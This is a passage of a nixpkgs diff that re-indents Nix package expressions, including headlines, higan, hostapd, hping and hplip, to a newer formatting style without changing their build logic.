@@ -67,27 +67,26 @@ stdenv.mkDerivation (finalAttrs: {
     ];
   };
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/bin $out/lib
-      cp -a build/dist/HDFView/bin/HDFView $out/bin/
-      cp -a build/dist/HDFView/lib/app $out/lib/
-      cp -a build/dist/HDFView/lib/libapplauncher.so $out/lib/
-      ln -s ${jdk}/lib/openjdk $out/lib/runtime
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/bin $out/lib
+    cp -a build/dist/HDFView/bin/HDFView $out/bin/
+    cp -a build/dist/HDFView/lib/app $out/lib/
+    cp -a build/dist/HDFView/lib/libapplauncher.so $out/lib/
+    ln -s ${jdk}/lib/openjdk $out/lib/runtime
 
-      mkdir -p $out/share/applications $out/share/icons/hicolor/32x32/apps
-      cp src/HDFView.png $out/share/icons/hicolor/32x32/apps/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -a build/dist/HDFView.app $out/Applications/
-    ''
-    + ''
-      runHook postInstall
-    '';
+    mkdir -p $out/share/applications $out/share/icons/hicolor/32x32/apps
+    cp src/HDFView.png $out/share/icons/hicolor/32x32/apps/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -a build/dist/HDFView.app $out/Applications/
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   preFixup = ''
     # Remove build timestamp from javadoc files
diff --git a/pkgs/by-name/he/headlines/package.nix b/pkgs/by-name/he/headlines/package.nix
index 74b01862ad19..96951f9ae6ac 100644
--- a/pkgs/by-name/he/headlines/package.nix
+++ b/pkgs/by-name/he/headlines/package.nix
@@ -38,26 +38,25 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      libmicrohttpd
-      curl
-      openssl
-      jsoncpp
-      libxml2
-      boost
-      websocketpp
-      libadwaita
-      gtkmm4
-      libsecret
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-libav
-      gst-plugins-base
-      (gst-plugins-good.override { gtkSupport = true; })
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    libmicrohttpd
+    curl
+    openssl
+    jsoncpp
+    libxml2
+    boost
+    websocketpp
+    libadwaita
+    gtkmm4
+    libsecret
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-libav
+    gst-plugins-base
+    (gst-plugins-good.override { gtkSupport = true; })
+    gst-plugins-bad
+  ]);
 
   preFixup = ''
     gappsWrapperArgs+=(
diff --git a/pkgs/by-name/he/hebbot/package.nix b/pkgs/by-name/he/hebbot/package.nix
index 2a37463e1bc2..abad3b0a0492 100644
--- a/pkgs/by-name/he/hebbot/package.nix
+++ b/pkgs/by-name/he/hebbot/package.nix
@@ -26,15 +26,14 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-xRTl6Z6sn44yaEIFxG2vVKlbruDmOS2CdPZeVmWYOoA=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      autoconf
-      automake
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    autoconf
+    automake
+  ];
 
   buildInputs = [
     openssl
diff --git a/pkgs/by-name/he/hedgewars/package.nix b/pkgs/by-name/he/hedgewars/package.nix
index dd8e4de598b8..de149ca6e24a 100644
--- a/pkgs/by-name/he/hedgewars/package.nix
+++ b/pkgs/by-name/he/hedgewars/package.nix
@@ -81,7 +81,8 @@ stdenv.mkDerivation {
     libglut
     physfs
     qtbase
-  ] ++ lib.optional withServer ghc;
+  ]
+  ++ lib.optional withServer ghc;
 
   cmakeFlags = [
     "-DNOVERSIONINFOUPDATE=ON"
diff --git a/pkgs/by-name/he/herbe/package.nix b/pkgs/by-name/he/herbe/package.nix
index a3759ebfd978..2916cf79a09e 100644
--- a/pkgs/by-name/he/herbe/package.nix
+++ b/pkgs/by-name/he/herbe/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation rec {
     libX11
     libXft
     freetype
-  ] ++ extraLibs;
+  ]
+  ++ extraLibs;
 
   makeFlags = [ "PREFIX=$(out)" ];
 
diff --git a/pkgs/by-name/he/hercules/package.nix b/pkgs/by-name/he/hercules/package.nix
index d7a3df6d6053..58be1d753826 100644
--- a/pkgs/by-name/he/hercules/package.nix
+++ b/pkgs/by-name/he/hercules/package.nix
@@ -122,28 +122,26 @@ stdenv.mkDerivation rec {
   '';
 
   nativeBuildInputs = [ libtool ];
-  buildInputs =
-    [
-      (lib.getOutput "lib" libtool)
-      zlib
-      bzip2
-      extpkgs
-    ]
-    ++ lib.optionals enableRexx [
-      regina
-    ];
+  buildInputs = [
+    (lib.getOutput "lib" libtool)
+    zlib
+    bzip2
+    extpkgs
+  ]
+  ++ lib.optionals enableRexx [
+    regina
+  ];
 
-  configureFlags =
-    [
-      "--enable-extpkgs=${extpkgs}"
-      "--without-included-ltdl"
-      "--enable-ipv6"
-      "--enable-cckd-bzip2"
-      "--enable-het-bzip2"
-    ]
-    ++ lib.optionals enableRexx [
-      "--enable-regina-rexx"
-    ];
+  configureFlags = [
+    "--enable-extpkgs=${extpkgs}"
+    "--without-included-ltdl"
+    "--enable-ipv6"
+    "--enable-cckd-bzip2"
+    "--enable-het-bzip2"
+  ]
+  ++ lib.optionals enableRexx [
+    "--enable-regina-rexx"
+  ];
 
   meta = with lib; {
     homepage = "https://sdl-hercules-390.github.io/html/";
diff --git a/pkgs/by-name/he/herwig/package.nix b/pkgs/by-name/he/herwig/package.nix
index 9e6ea0e4586a..cf9a4ac9094b 100644
--- a/pkgs/by-name/he/herwig/package.nix
+++ b/pkgs/by-name/he/herwig/package.nix
@@ -30,19 +30,18 @@ stdenv.mkDerivation rec {
     gfortran
   ];
 
-  buildInputs =
-    [
-      boost
-      fastjet
-      gsl
-      thepeg
-      zlib
-    ]
-    # There is a bug that requires for default PDF's to be present during the build
-    ++ (with lhapdf.pdf_sets; [
-      CT14lo
-      CT14nlo
-    ]);
+  buildInputs = [
+    boost
+    fastjet
+    gsl
+    thepeg
+    zlib
+  ]
+  # There is a bug that requires for default PDF's to be present during the build
+  ++ (with lhapdf.pdf_sets; [
+    CT14lo
+    CT14nlo
+  ]);
 
   postPatch = ''
     patchShebangs ./
diff --git a/pkgs/by-name/he/hexbinhex/package.nix b/pkgs/by-name/he/hexbinhex/package.nix
index a4a012bdad74..ec0dd6db3325 100644
--- a/pkgs/by-name/he/hexbinhex/package.nix
+++ b/pkgs/by-name/he/hexbinhex/package.nix
@@ -15,14 +15,13 @@ stdenv.mkDerivation rec {
     hash = "sha256-nfOmiF+t5QtAl1I7CSz26C9SGo7ZkdSziO2eiHbk6pA=";
   };
 
-  preBuild =
-    ''
-      substituteInPlace Makefile --replace '/usr/local' $out
-      mkdir -p $out/bin
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
-      sed -i s/-m64//g Makefile
-    '';
+  preBuild = ''
+    substituteInPlace Makefile --replace '/usr/local' $out
+    mkdir -p $out/bin
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
+    sed -i s/-m64//g Makefile
+  '';
 
   makeFlags = [ "CC=${stdenv.cc.targetPrefix}cc" ];
 
diff --git a/pkgs/by-name/hi/hiawatha/package.nix b/pkgs/by-name/hi/hiawatha/package.nix
index 727651369179..ae6d50abf579 100644
--- a/pkgs/by-name/hi/hiawatha/package.nix
+++ b/pkgs/by-name/hi/hiawatha/package.nix
@@ -37,16 +37,15 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
     ninja
   ];
-  buildInputs =
-    [
-      mbedtls
-      libxcrypt
-      zlib
-    ]
-    ++ lib.optionals enableXslt [
-      libxslt
-      libxml2
-    ];
+  buildInputs = [
+    mbedtls
+    libxcrypt
+    zlib
+  ]
+  ++ lib.optionals enableXslt [
+    libxslt
+    libxml2
+  ];
 
   prePatch = ''
     substituteInPlace CMakeLists.txt --replace SETUID ""
diff --git a/pkgs/by-name/hi/hiawatha/test.nix b/pkgs/by-name/hi/hiawatha/test.nix
index 3287a6266127..8f17a6874563 100644
--- a/pkgs/by-name/hi/hiawatha/test.nix
+++ b/pkgs/by-name/hi/hiawatha/test.nix
@@ -13,7 +13,8 @@ stdenvNoCC.mkDerivation {
   nativeBuildInputs = [
     hiawatha
     curl
-  ] ++ lib.optional enableTls mbedtls;
+  ]
+  ++ lib.optional enableTls mbedtls;
 
   env = {
     inherit enableTls;
diff --git a/pkgs/by-name/hi/higan/package.nix b/pkgs/by-name/hi/higan/package.nix
index e47d722f95eb..9947742b3b1c 100644
--- a/pkgs/by-name/hi/higan/package.nix
+++ b/pkgs/by-name/hi/higan/package.nix
@@ -32,32 +32,30 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-VpwHjA0LufKDnGRAS906Qh3R2pVt4uUGXxsRcca9SyM=";
   };
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libicns
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libicns
+  ];
 
-  buildInputs =
-    [
-      SDL2
-      libao
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      gtk3
-      gtksourceview3
-      libGL
-      libGLU
-      libX11
-      libXv
-      libpulseaudio
-      openal
-      udev
-    ];
+  buildInputs = [
+    SDL2
+    libao
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    gtk3
+    gtksourceview3
+    libGL
+    libGLU
+    libX11
+    libXv
+    libpulseaudio
+    openal
+    udev
+  ];
 
   patches = [
     # Includes cmath header
@@ -105,67 +103,66 @@ stdenv.mkDerivation (finalAttrs: {
       runHook postBuild
     '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          mkdir $out
-          mv higan/out/higan.app $out/
-          mv icarus/out/icarus.app $out/
-        ''
-      else
-        ''
-          installBin higan-ui/out/higan icarus/out/icarus
-
-          install -d $out/share/applications
-          install higan-ui/resource/higan.desktop -t $out/share/applications/
-          install icarus/resource/icarus.desktop -t $out/share/applications/
-
-          install -d $out/share/pixmaps
-          install higan/higan/resource/higan.svg $out/share/pixmaps/higan-icon.svg
-          install higan/higan/resource/logo.png $out/share/pixmaps/higan-icon.png
-          install icarus/resource/icarus.svg $out/share/pixmaps/icarus-icon.svg
-          install icarus/resource/icarus.png $out/share/pixmaps/icarus-icon.png
-        ''
-    )
-    + ''
-      install -d $out/share/higan
-      cp -rd extras/ higan/System/ $out/share/higan/
-
-      install -d $out/share/icarus
-      cp -rd icarus/Database icarus/Firmware $out/share/icarus/
-    ''
-    + (
-      # A dirty workaround, suggested by @cpages:
-      # we create a first-run script to populate
-      # $HOME with all the stuff needed at runtime
-      let
-        dest =
-          if stdenv.hostPlatform.isDarwin then
-            "\\$HOME/Library/Application Support/higan"
-          else
-            "\\$HOME/higan";
-      in
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
       ''
-        mkdir -p $out/bin
-        cat <<EOF > $out/bin/higan-init.sh
-        #!${runtimeShell}
-
-        cp --recursive --update $out/share/higan/System/ "${dest}"/
-
-        EOF
-
-        chmod +x $out/bin/higan-init.sh
+        mkdir $out
+        mv higan/out/higan.app $out/
+        mv icarus/out/icarus.app $out/
       ''
-    )
-    + ''
+    else
+      ''
+        installBin higan-ui/out/higan icarus/out/icarus
 
-      runHook postInstall
-    '';
+        install -d $out/share/applications
+        install higan-ui/resource/higan.desktop -t $out/share/applications/
+        install icarus/resource/icarus.desktop -t $out/share/applications/
+
+        install -d $out/share/pixmaps
+        install higan/higan/resource/higan.svg $out/share/pixmaps/higan-icon.svg
+        install higan/higan/resource/logo.png $out/share/pixmaps/higan-icon.png
+        install icarus/resource/icarus.svg $out/share/pixmaps/icarus-icon.svg
+        install icarus/resource/icarus.png $out/share/pixmaps/icarus-icon.png
+      ''
+  )
+  + ''
+    install -d $out/share/higan
+    cp -rd extras/ higan/System/ $out/share/higan/
+
+    install -d $out/share/icarus
+    cp -rd icarus/Database icarus/Firmware $out/share/icarus/
+  ''
+  + (
+    # A dirty workaround, suggested by @cpages:
+    # we create a first-run script to populate
+    # $HOME with all the stuff needed at runtime
+    let
+      dest =
+        if stdenv.hostPlatform.isDarwin then
+          "\\$HOME/Library/Application Support/higan"
+        else
+          "\\$HOME/higan";
+    in
+    ''
+      mkdir -p $out/bin
+      cat <<EOF > $out/bin/higan-init.sh
+      #!${runtimeShell}
+
+      cp --recursive --update $out/share/higan/System/ "${dest}"/
+
+      EOF
+
+      chmod +x $out/bin/higan-init.sh
+    ''
+  )
+  + ''
+
+    runHook postInstall
+  '';
 
   passthru.updateScript = unstableGitUpdater { };
 
diff --git a/pkgs/by-name/hi/high-tide/package.nix b/pkgs/by-name/hi/high-tide/package.nix
index ff68daa49623..70f572bc06e1 100644
--- a/pkgs/by-name/hi/high-tide/package.nix
+++ b/pkgs/by-name/hi/high-tide/package.nix
@@ -34,16 +34,17 @@ python3Packages.buildPythonApplication {
     desktop-file-utils
   ];
 
-  buildInputs =
-    [ libadwaita ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gst-plugins-bad
-      libsecret
-    ]);
+  buildInputs = [
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gst-plugins-bad
+    libsecret
+  ]);
 
   dependencies = with python3Packages; [
     pygobject3
diff --git a/pkgs/by-name/hi/highfive/package.nix b/pkgs/by-name/hi/highfive/package.nix
index db3e6a19f6c8..5551230ace59 100644
--- a/pkgs/by-name/hi/highfive/package.nix
+++ b/pkgs/by-name/hi/highfive/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation rec {
     "-DHIGHFIVE_EXAMPLES=OFF"
     "-DHIGHFIVE_UNIT_TESTS=OFF"
     "-DHIGHFIVE_USE_INSTALL_DEPS=ON"
-  ] ++ (lib.optionals mpiSupport [ "-DHIGHFIVE_PARALLEL_HDF5=ON" ]);
+  ]
+  ++ (lib.optionals mpiSupport [ "-DHIGHFIVE_PARALLEL_HDF5=ON" ]);
 
   meta = with lib; {
     description = "Header-only C++ HDF5 interface";
diff --git a/pkgs/by-name/hi/himalaya/package.nix b/pkgs/by-name/hi/himalaya/package.nix
index 404813aa2de7..1df06f28cd71 100644
--- a/pkgs/by-name/hi/himalaya/package.nix
+++ b/pkgs/by-name/hi/himalaya/package.nix
@@ -52,7 +52,8 @@ rustPlatform.buildRustPackage {
 
   nativeBuildInputs = [
     pkg-config
-  ] ++ lib.optional (installManPages || installShellCompletions) installShellFiles;
+  ]
+  ++ lib.optional (installManPages || installShellCompletions) installShellFiles;
 
   buildInputs =
     [ ]
diff --git a/pkgs/by-name/hm/hmat-oss/package.nix b/pkgs/by-name/hm/hmat-oss/package.nix
index 9b6ccf16c572..569ec114d158 100644
--- a/pkgs/by-name/hm/hmat-oss/package.nix
+++ b/pkgs/by-name/hm/hmat-oss/package.nix
@@ -23,13 +23,12 @@ stdenv.mkDerivation (finalAttrs: {
     "-DHMAT_GIT_VERSION=OFF"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      pkg-config # used to find the LAPACK
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    pkg-config # used to find the LAPACK
+  ];
 
   buildInputs = [
     blas
diff --git a/pkgs/by-name/ho/homepage-dashboard/package.nix b/pkgs/by-name/ho/homepage-dashboard/package.nix
index 83bec6554eea..d40fabfd5e2c 100644
--- a/pkgs/by-name/ho/homepage-dashboard/package.nix
+++ b/pkgs/by-name/ho/homepage-dashboard/package.nix
@@ -58,7 +58,8 @@ stdenv.mkDerivation (finalAttrs: {
     makeBinaryWrapper
     nodejs
     pnpm_10.configHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ];
 
   buildInputs = [
     nodePackages.node-gyp-build
diff --git a/pkgs/by-name/ho/hostapd/package.nix b/pkgs/by-name/ho/hostapd/package.nix
index 30eba3baca91..337d4c95c150 100644
--- a/pkgs/by-name/ho/hostapd/package.nix
+++ b/pkgs/by-name/ho/hostapd/package.nix
@@ -40,68 +40,67 @@ stdenv.mkDerivation rec {
   ];
 
   # Based on hostapd's defconfig. Only differences are tracked.
-  extraConfig =
-    ''
-      # Use epoll(7) instead of select(2) on linux
-      CONFIG_ELOOP_EPOLL=y
+  extraConfig = ''
+    # Use epoll(7) instead of select(2) on linux
+    CONFIG_ELOOP_EPOLL=y
 
-      # Drivers
-      CONFIG_DRIVER_WIRED=y
-      CONFIG_DRIVER_NONE=y
+    # Drivers
+    CONFIG_DRIVER_WIRED=y
+    CONFIG_DRIVER_NONE=y
 
-      # Integrated EAP server
-      CONFIG_EAP_SIM=y
-      CONFIG_EAP_AKA=y
-      CONFIG_EAP_AKA_PRIME=y
-      CONFIG_EAP_PAX=y
-      CONFIG_EAP_PSK=y
-      CONFIG_EAP_PWD=y
-      CONFIG_EAP_SAKE=y
-      CONFIG_EAP_GPSK=y
-      CONFIG_EAP_GPSK_SHA256=y
-      CONFIG_EAP_FAST=y
-      CONFIG_EAP_IKEV2=y
-      CONFIG_EAP_TNC=y
-      CONFIG_EAP_EKE=y
+    # Integrated EAP server
+    CONFIG_EAP_SIM=y
+    CONFIG_EAP_AKA=y
+    CONFIG_EAP_AKA_PRIME=y
+    CONFIG_EAP_PAX=y
+    CONFIG_EAP_PSK=y
+    CONFIG_EAP_PWD=y
+    CONFIG_EAP_SAKE=y
+    CONFIG_EAP_GPSK=y
+    CONFIG_EAP_GPSK_SHA256=y
+    CONFIG_EAP_FAST=y
+    CONFIG_EAP_IKEV2=y
+    CONFIG_EAP_TNC=y
+    CONFIG_EAP_EKE=y
 
-      CONFIG_TLS=openssl
-      CONFIG_TLSV11=y
-      CONFIG_TLSV12=y
+    CONFIG_TLS=openssl
+    CONFIG_TLSV11=y
+    CONFIG_TLSV12=y
 
-      CONFIG_SAE=y
-      CONFIG_SAE_PK=y
+    CONFIG_SAE=y
+    CONFIG_SAE_PK=y
 
-      CONFIG_OWE=y
-      CONFIG_OCV=y
+    CONFIG_OWE=y
+    CONFIG_OCV=y
 
-      # TKIP is considered insecure and upstream support will be removed in the future
-      CONFIG_NO_TKIP=y
+    # TKIP is considered insecure and upstream support will be removed in the future
+    CONFIG_NO_TKIP=y
 
-      # Misc
-      CONFIG_RADIUS_SERVER=y
-      CONFIG_MACSEC=y
-      CONFIG_DRIVER_MACSEC_LINUX=y
-      CONFIG_FULL_DYNAMIC_VLAN=y
-      CONFIG_VLAN_NETLINK=y
-      CONFIG_GETRANDOM=y
-      CONFIG_INTERWORKING=y
-      CONFIG_HS20=y
-      CONFIG_FST=y
-      CONFIG_FST_TEST=y
-      CONFIG_ACS=y
-      CONFIG_WNM=y
-      CONFIG_MBO=y
+    # Misc
+    CONFIG_RADIUS_SERVER=y
+    CONFIG_MACSEC=y
+    CONFIG_DRIVER_MACSEC_LINUX=y
+    CONFIG_FULL_DYNAMIC_VLAN=y
+    CONFIG_VLAN_NETLINK=y
+    CONFIG_GETRANDOM=y
+    CONFIG_INTERWORKING=y
+    CONFIG_HS20=y
+    CONFIG_FST=y
+    CONFIG_FST_TEST=y
+    CONFIG_ACS=y
+    CONFIG_WNM=y
+    CONFIG_MBO=y
 
-      CONFIG_IEEE80211R=y
-      CONFIG_IEEE80211W=y
-      CONFIG_IEEE80211N=y
-      CONFIG_IEEE80211AC=y
-      CONFIG_IEEE80211AX=y
-      CONFIG_IEEE80211BE=y
-    ''
-    + lib.optionalString (sqlite != null) ''
-      CONFIG_SQLITE=y
-    '';
+    CONFIG_IEEE80211R=y
+    CONFIG_IEEE80211W=y
+    CONFIG_IEEE80211N=y
+    CONFIG_IEEE80211AC=y
+    CONFIG_IEEE80211AX=y
+    CONFIG_IEEE80211BE=y
+  ''
+  + lib.optionalString (sqlite != null) ''
+    CONFIG_SQLITE=y
+  '';
 
   passAsFile = [ "extraConfig" ];
 
diff --git a/pkgs/by-name/hp/hp2p/package.nix b/pkgs/by-name/hp/hp2p/package.nix
index 433e85657f29..62d5179b8828 100644
--- a/pkgs/by-name/hp/hp2p/package.nix
+++ b/pkgs/by-name/hp/hp2p/package.nix
@@ -26,12 +26,13 @@ stdenv.mkDerivation (finalAttrs: {
     automake
     python3Packages.wrapPython
   ];
-  buildInputs =
-    [ mpi ]
-    ++ (with python3Packages; [
-      python
-      plotly
-    ]);
+  buildInputs = [
+    mpi
+  ]
+  ++ (with python3Packages; [
+    python
+    plotly
+  ]);
   pythonPath = (with python3Packages; [ plotly ]);
 
   preConfigure = ''
diff --git a/pkgs/by-name/hp/hping/package.nix b/pkgs/by-name/hp/hping/package.nix
index 2872c3d1df34..ff8d2a72302b 100644
--- a/pkgs/by-name/hp/hping/package.nix
+++ b/pkgs/by-name/hp/hping/package.nix
@@ -30,25 +30,24 @@ stdenv.mkDerivation {
 
   buildInputs = [ libpcap ] ++ lib.optional withTcl tcl;
 
-  postPatch =
-    ''
-      substituteInPlace Makefile.in --replace "gcc" "$CC"
-      substituteInPlace version.c --replace "RELEASE_DATE" "\"$version\""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      sed -i -e 's|#include <net/bpf.h>|#include <pcap/bpf.h>|' \
-        libpcap_stuff.c script.c
-    ''
-    + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-      substituteInPlace configure --replace 'BYTEORDER=`./byteorder -m`' BYTEORDER=${
-        {
-          littleEndian = "__LITTLE_ENDIAN_BITFIELD";
-          bigEndian = "__BIG_ENDIAN_BITFIELD";
-        }
-        .${stdenv.hostPlatform.parsed.cpu.significantByte.name}
+  postPatch = ''
+    substituteInPlace Makefile.in --replace "gcc" "$CC"
+    substituteInPlace version.c --replace "RELEASE_DATE" "\"$version\""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    sed -i -e 's|#include <net/bpf.h>|#include <pcap/bpf.h>|' \
+      libpcap_stuff.c script.c
+  ''
+  + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+    substituteInPlace configure --replace 'BYTEORDER=`./byteorder -m`' BYTEORDER=${
+      {
+        littleEndian = "__LITTLE_ENDIAN_BITFIELD";
+        bigEndian = "__BIG_ENDIAN_BITFIELD";
       }
-      substituteInPlace Makefile.in --replace './hping3 -v' ""
-    '';
+      .${stdenv.hostPlatform.parsed.cpu.significantByte.name}
+    }
+    substituteInPlace Makefile.in --replace './hping3 -v' ""
+  '';
 
   configureFlags = [ (if withTcl then "TCLSH=${tcl}/bin/tclsh" else "--no-tcl") ];
 
diff --git a/pkgs/by-name/hp/hpipm/package.nix b/pkgs/by-name/hp/hpipm/package.nix
index 88899d752b91..534697dd1983 100644
--- a/pkgs/by-name/hp/hpipm/package.nix
+++ b/pkgs/by-name/hp/hpipm/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation (finalAttrs: {
   cmakeFlags = [
     "-DHPIPM_FIND_BLASFEO=ON"
     "-DBUILD_SHARED_LIBS=ON"
-  ] ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "-DTARGET=GENERIC" ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "-DTARGET=GENERIC" ];
 
   meta = {
     description = "High-performance interior-point-method QP and QCQP solvers";
diff --git a/pkgs/by-name/hp/hplip/package.nix b/pkgs/by-name/hp/hplip/package.nix
index 524b241734f1..a537c3487e2e 100644
--- a/pkgs/by-name/hp/hplip/package.nix
+++ b/pkgs/by-name/hp/hplip/package.nix
@@ -87,24 +87,23 @@ python3Packages.buildPythonApplication {
 
   sourceRoot = "${pname}-${version}";
 
-  buildInputs =
-    [
-      libjpeg
-      cups
-      libusb1
-      sane-backends
-      dbus
-      file
-      ghostscript
-      net-snmp
-      openssl
-      perl
-      zlib
-      avahi
-    ]
-    ++ lib.optionals withQt5 [
-      qt5.qtwayland
-    ];
+  buildInputs = [
+    libjpeg
+    cups
+    libusb1
+    sane-backends
+    dbus
+    file
+    ghostscript
+    net-snmp
+    openssl
+    perl
+    zlib
+    avahi
+  ]
+  ++ lib.optionals withQt5 [
+    qt5.qtwayland
+  ];
 
   nativeBuildInputs = [
     pkg-config
@@ -112,7 +111,8 @@ python3Packages.buildPythonApplication {
     autoreconfHook
     gobject-introspection
     wrapGAppsHook3
-  ] ++ lib.optional withQt5 qt5.wrapQtAppsHook;
+  ]
+  ++ lib.optional withQt5 qt5.wrapQtAppsHook;
 
   pythonPath =
     with python3Packages;
@@ -244,54 +244,53 @@ python3Packages.buildPythonApplication {
   # Running `hp-diagnose_plugin -g` can be used to diagnose
   # issues with plugins.
   #
-  postInstall =
-    ''
-      for resolution in 16x16 32x32 64x64 128x128 256x256; do
-        mkdir -p $out/share/icons/hicolor/$resolution/apps
-        ln -s $out/share/hplip/data/images/$resolution/hp_logo.png \
-          $out/share/icons/hicolor/$resolution/apps/hp_logo.png
-      done
-    ''
-    + lib.optionalString withPlugin ''
-      pushd $NIX_BUILD_TOP/plugin_tmp
+  postInstall = ''
+    for resolution in 16x16 32x32 64x64 128x128 256x256; do
+      mkdir -p $out/share/icons/hicolor/$resolution/apps
+      ln -s $out/share/hplip/data/images/$resolution/hp_logo.png \
+        $out/share/icons/hicolor/$resolution/apps/hp_logo.png
+    done
+  ''
+  + lib.optionalString withPlugin ''
+    pushd $NIX_BUILD_TOP/plugin_tmp
 
-      cp plugin.spec $out/share/hplip/
+    cp plugin.spec $out/share/hplip/
 
-      mkdir -p $out/share/hplip/data/firmware
-      cp *.fw.gz $out/share/hplip/data/firmware
+    mkdir -p $out/share/hplip/data/firmware
+    cp *.fw.gz $out/share/hplip/data/firmware
 
-      mkdir -p $out/share/hplip/data/plugins
-      cp license.txt $out/share/hplip/data/plugins
+    mkdir -p $out/share/hplip/data/plugins
+    cp license.txt $out/share/hplip/data/plugins
 
-      mkdir -p $out/share/hplip/prnt/plugins
-      for plugin in lj hbpl1; do
-        cp $plugin-${hplipArch}.so $out/share/hplip/prnt/plugins
-        chmod 0755 $out/share/hplip/prnt/plugins/$plugin-${hplipArch}.so
-        ln -s $out/share/hplip/prnt/plugins/$plugin-${hplipArch}.so \
-          $out/share/hplip/prnt/plugins/$plugin.so
-      done
+    mkdir -p $out/share/hplip/prnt/plugins
+    for plugin in lj hbpl1; do
+      cp $plugin-${hplipArch}.so $out/share/hplip/prnt/plugins
+      chmod 0755 $out/share/hplip/prnt/plugins/$plugin-${hplipArch}.so
+      ln -s $out/share/hplip/prnt/plugins/$plugin-${hplipArch}.so \
+        $out/share/hplip/prnt/plugins/$plugin.so
+    done
 
-      mkdir -p $out/share/hplip/scan/plugins
-      for plugin in bb_soap bb_marvell bb_soapht bb_escl; do
-        cp $plugin-${hplipArch}.so $out/share/hplip/scan/plugins
-        chmod 0755 $out/share/hplip/scan/plugins/$plugin-${hplipArch}.so
-        ln -s $out/share/hplip/scan/plugins/$plugin-${hplipArch}.so \
-          $out/share/hplip/scan/plugins/$plugin.so
-      done
+    mkdir -p $out/share/hplip/scan/plugins
+    for plugin in bb_soap bb_marvell bb_soapht bb_escl; do
+      cp $plugin-${hplipArch}.so $out/share/hplip/scan/plugins
+      chmod 0755 $out/share/hplip/scan/plugins/$plugin-${hplipArch}.so
+      ln -s $out/share/hplip/scan/plugins/$plugin-${hplipArch}.so \
+        $out/share/hplip/scan/plugins/$plugin.so
+    done
 
-      mkdir -p $out/share/hplip/fax/plugins
-      for plugin in fax_marvell; do
-        cp $plugin-${hplipArch}.so $out/share/hplip/fax/plugins
-        chmod 0755 $out/share/hplip/fax/plugins/$plugin-${hplipArch}.so
-        ln -s $out/share/hplip/fax/plugins/$plugin-${hplipArch}.so \
-          $out/share/hplip/fax/plugins/$plugin.so
-      done
+    mkdir -p $out/share/hplip/fax/plugins
+    for plugin in fax_marvell; do
+      cp $plugin-${hplipArch}.so $out/share/hplip/fax/plugins
+      chmod 0755 $out/share/hplip/fax/plugins/$plugin-${hplipArch}.so
+      ln -s $out/share/hplip/fax/plugins/$plugin-${hplipArch}.so \
+        $out/share/hplip/fax/plugins/$plugin.so
+    done
 
-      mkdir -p $out/var/lib/hp
-      cp ${hplipState} $out/var/lib/hp/hplip.state
+    mkdir -p $out/var/lib/hp
+    cp ${hplipState} $out/var/lib/hp/hplip.state
 
-      popd
-    '';
+    popd
+  '';
 
   # The installed executables are just symlinks into $out/share/hplip,
   # but wrapPythonPrograms ignores symlinks. We cannot replace the Python
diff --git a/pkgs/by-name/hq/hqplayerd/rygel.nix b/pkgs/by-name/hq/hqplayerd/rygel.nix
index 13e6d13a01aa..1eaac1362ee4 100644
--- a/pkgs/by-name/hq/hqplayerd/rygel.nix
+++ b/pkgs/by-name/hq/hqplayerd/rygel.nix
@@ -59,30 +59,29 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  buildInputs =
-    [
-      glib
-      gssdp
-      gupnp
